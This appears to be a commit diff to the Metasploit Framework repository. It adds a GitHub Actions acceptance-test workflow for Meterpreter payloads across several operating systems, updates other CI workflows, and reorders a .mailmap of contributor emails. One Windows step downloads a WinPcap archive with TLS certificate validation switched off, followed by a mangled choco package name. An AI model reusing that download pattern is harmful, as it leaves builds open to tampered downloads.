| e1e6089e25 | |||
| 4557c86fbb | |||
| 555b2a394c | |||
| 9b50612b84 | |||
| be61ad0171 | |||
| 49818b41ab | |||
| 69342f5431 | |||
| 0cb1b5b56f | |||
| 73f6d1ab87 | |||
| 045d9f7645 | |||
| bcc45b1a9c | |||
| 47f8d3acae | |||
| 6c6ad38b7a | |||
| 075a40eb27 | |||
| 6e8016541a | |||
| d31ffa27d3 | |||
| 8c3d7ff42f | |||
| 4861bbb337 | |||
| ef9f5ca463 | |||
| e40e835fd8 | |||
| f508341155 | |||
| 4f650e7c93 | |||
| 997f9b92d9 | |||
| 96046f9aec | |||
| 2cce4ac1c1 | |||
| bcd30b9be8 | |||
| 2553bae018 | |||
| 3e33e2694d | |||
| 8d1d2d5aad | |||
| 89187c1fa9 | |||
| e672fad870 | |||
| a4a0fc3028 | |||
| 15446fd173 | |||
| 19b62a5af6 | |||
| 4ae74f1a67 | |||
| fe6138dea7 | |||
| 81a37ecf88 | |||
| f8901a8b17 | |||
| fbca81dc09 | |||
| 3f56f9891d | |||
| ac5a885f16 | |||
| 3ce8b2e3bc | |||
| 9160573d0c | |||
| 7963b22fa5 | |||
| aef69d1c43 | |||
| 4c17a3c342 | |||
| b23e2207c2 | |||
| 91d83e966c | |||
| 5dd650fc76 | |||
| ba76c5702d | |||
| feb13174be | |||
| cb1e72461f | |||
| c906cf8fa2 | |||
| ba83b1bdf5 | |||
| affc5bc294 | |||
| 34de5cf5e6 | |||
| f1e5376414 | |||
| 670288a939 | |||
| 0c65559e83 | |||
| 89d47aad69 | |||
| f1da425a89 | |||
| 0201693519 | |||
| 41a5891627 | |||
| 4426a10dd7 | |||
| 3f736834d2 | |||
| e312619418 | |||
| 7f6ef8384b | |||
| 681455dec3 | |||
| 318465771b | |||
| e4947cd127 | |||
| 2c323ae4db | |||
| 54667a2424 | |||
| 1d400bd094 |
@@ -0,0 +1,223 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- 'data/templates/**'
|
||||
- 'modules/payloads/**'
|
||||
- 'lib/msf/core/payload/**'
|
||||
- 'lib/msf/core/**'
|
||||
- 'tools/dev/**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
# Run all test individually, note there is a separate final job for aggregating the test results
|
||||
test:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os:
|
||||
- macos-11
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
ruby:
|
||||
- 3.0.2
|
||||
meterpreter:
|
||||
# Python
|
||||
- { name: python, runtime_version: 3.6 }
|
||||
- { name: python, runtime_version: 3.11 }
|
||||
|
||||
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
|
||||
- { name: java, runtime_version: 8 }
|
||||
|
||||
# PHP
|
||||
- { name: php, runtime_version: 5.3 }
|
||||
- { name: php, runtime_version: 7.4 }
|
||||
- { name: php, runtime_version: 8.2 }
|
||||
include:
|
||||
# Windows Meterpreter
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
|
||||
|
||||
# Mettle
|
||||
- { meterpreter: { name: mettle }, os: macos-11 }
|
||||
- { meterpreter: { name: mettle }, os: ubuntu-20.04 }
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
|
||||
timeout-minutes: 25
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
HOST_RUNNER_IMAGE: ${{ matrix.os }}
|
||||
METERPRETER: ${{ matrix.meterpreter.name }}
|
||||
METERPRETER_RUNTIME_VERSION: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
name: ${{ matrix.meterpreter.name }} ${{ matrix.meterpreter.runtime_version }} ${{ matrix.os }}
|
||||
steps:
|
||||
- name: Install system dependencies (Linux)
|
||||
if: runner.os == 'Linux'
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
|
||||
if: ${{ matrix.meterpreter.name == 'php' }}
|
||||
with:
|
||||
php-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
tools: none
|
||||
|
||||
- name: Set up Python
|
||||
if: ${{ matrix.meterpreter.name == 'python' }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
- uses: actions/setup-java@v3
|
||||
if: ${{ matrix.meterpreter.name == 'java' }}
|
||||
with:
|
||||
distribution: temurin
|
||||
java-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
- name: Install system dependencies (Windows)
|
||||
shell: cmd
|
||||
if: runner.os == 'Windows'
|
||||
run: |
|
||||
REM pcap dependencies
|
||||
powershell -Command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip', 'C:\Windows\Temp\WpdPack_4_1_2.zip')"
|
||||
|
||||
choco install 7zip.installServerCertificateValidationCallback
|
||||
7z x "C:\Windows\Temp\WpdPack_4_1_2.zip" -o"C:\"
|
||||
|
||||
dir C:\\
|
||||
|
||||
dir %WINDIR%
|
||||
type %WINDIR%\\system32\\drivers\\etc\\hosts
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: raw-data-${{ matrix.meterpreter.name }}-${{ matrix.meterpreter.runtime_version }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs: test
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: 3.0.2
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v3
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -31,29 +31,28 @@ on:
|
||||
jobs:
|
||||
# Ensures that the docs site builds successfully. Note that this workflow does not deploy the docs site.
|
||||
build:
|
||||
runs-on: ubuntu-18.04
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- 2.7
|
||||
- '3.0'
|
||||
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
working-directory: docs
|
||||
|
||||
- name: build
|
||||
working-directory: docs
|
||||
run: |
|
||||
bundle exec ruby build.rb
|
||||
bundle exec ruby build.rb --production
|
||||
|
||||
@@ -28,7 +28,7 @@ jobs:
|
||||
handle-labels:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/github-script@v3
|
||||
- uses: actions/github-script@v6
|
||||
with:
|
||||
github-token: ${{secrets.GITHUB_TOKEN}}
|
||||
script: |
|
||||
@@ -59,7 +59,7 @@ jobs:
|
||||
comment: `
|
||||
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
|
||||
|
||||
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
|
||||
- [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html)
|
||||
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
|
||||
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
|
||||
`
|
||||
@@ -191,6 +191,14 @@ jobs:
|
||||
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
|
||||
`
|
||||
},
|
||||
attic: {
|
||||
close: true,
|
||||
comment: `
|
||||
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
|
||||
|
||||
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
|
||||
`
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
@@ -202,16 +210,16 @@ jobs:
|
||||
|
||||
if (config.comment) {
|
||||
const precedingWhitespaceLength = config.comment.split("\n")[1].search(/\S/);
|
||||
const commentWithoutPreceedingWhitespace = config.comment.split("\n").map(line => line.substring(precedingWhitespaceLength)).join("\n").trim();
|
||||
await github.issues.createComment({
|
||||
const commentWithoutPrecedingWhitespace = config.comment.split("\n").map(line => line.substring(precedingWhitespaceLength)).join("\n").trim();
|
||||
await github.rest.issues.createComment({
|
||||
issue_number: context.issue.number,
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
body: commentWithoutPreceedingWhitespace
|
||||
body: commentWithoutPrecedingWhitespace
|
||||
});
|
||||
}
|
||||
if (config.close) {
|
||||
await github.issues.update({
|
||||
await github.rest.issues.update({
|
||||
issue_number: context.issue.number,
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
|
||||
@@ -28,14 +28,14 @@ on:
|
||||
|
||||
jobs:
|
||||
msftidy:
|
||||
runs-on: ubuntu-18.04
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- 2.6
|
||||
- '3.0'
|
||||
|
||||
name: Lint msftidy
|
||||
steps:
|
||||
@@ -43,7 +43,7 @@ jobs:
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
|
||||
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
|
||||
with:
|
||||
@@ -51,7 +51,7 @@ jobs:
|
||||
|
||||
- uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
@@ -28,12 +28,12 @@ on:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-18.04
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 40
|
||||
name: Docker Build
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: docker-compose build
|
||||
run: |
|
||||
@@ -44,7 +44,7 @@ jobs:
|
||||
/usr/bin/docker-compose build
|
||||
|
||||
test:
|
||||
runs-on: ubuntu-18.04
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
@@ -64,10 +64,19 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- 2.6
|
||||
- 2.7
|
||||
- 3.0.3
|
||||
- 3.1.1
|
||||
- '3.0'
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
- '3.3.0-preview2'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
exclude:
|
||||
- { os: ubuntu-latest, ruby: '3.0' }
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
|
||||
@@ -78,20 +87,22 @@ jobs:
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
||||
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Create database
|
||||
|
||||
@@ -40,7 +40,7 @@ jobs:
|
||||
const hasPR = await github.rest.pulls.list({
|
||||
owner,
|
||||
repo,
|
||||
head: owner + ':' + '${{ github.ref_name }}'
|
||||
head: owner + ':' + '${{ github.ref_name }}'
|
||||
});
|
||||
console.log('hasPR:');
|
||||
console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
|
||||
|
||||
@@ -3,6 +3,8 @@ Gemfile.local
|
||||
Gemfile.local.lock
|
||||
# Rubymine project directory
|
||||
.idea
|
||||
# Visual Studio Code configuration settings directory
|
||||
.vscode
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
@@ -17,6 +19,8 @@ Gemfile.local.lock
|
||||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# Ignore Solargraph config file
|
||||
.solargraph.yml
|
||||
# database config for testing
|
||||
config/database.yml
|
||||
# target config file for testing
|
||||
|
||||
@@ -1,45 +1,20 @@
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
|
||||
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
cgranleese-r7 <cgranleese-r7@github> <christopher_granleese@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
gwillcox-r7 <gwillcox-r7@github> <Grant_Willcox@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
sjanusz-r7 <sjanusz-r7@github> <simon_janusz@rapid7.com>
|
||||
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
@@ -48,9 +23,15 @@ wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
# periodically. If you're on this list and would like to not be, just
|
||||
# let todb@metasploit.com know.
|
||||
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
@@ -58,6 +39,7 @@ brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
|
||||
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
|
||||
@@ -75,6 +57,7 @@ DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmai
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
@@ -97,6 +80,8 @@ hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
|
||||
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <x@hdm.io>
|
||||
jabra <jabra@github> <jabra@spl0it.org>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jcran <jcran@github> <jcran@0x0e.org>
|
||||
jcran <jcran@github> <jcran@pentestify.com>
|
||||
jcran <jcran@github> <jcran@pwnieexpress.com>
|
||||
@@ -105,6 +90,8 @@ jduck <jduck@github> <github.jdrake@qoop.org>
|
||||
jduck <jduck@github> <jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> <joev@metasploit.com>
|
||||
@@ -123,6 +110,8 @@ lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
@@ -137,6 +126,7 @@ nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
|
||||
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
|
||||
ohdae <ohdae@github> ohdae <bindshell@live.com>
|
||||
oj <oj@github> <oj@buffered.io>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
|
||||
r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.local>
|
||||
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
|
||||
@@ -155,6 +145,10 @@ scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.u
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
sjanusz-r7 <sjanusz-r7@github> <simon_janusz@rapid7.com>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
smashery <smashery@github> Ashley Donaldson <smashery@gmail.com>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
@@ -163,6 +157,7 @@ stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
|
||||
timwr <timwr@github> <timrlw@gmail.com>
|
||||
@@ -170,12 +165,15 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> <void-in@users.noreply.github.com>
|
||||
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
|
||||
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
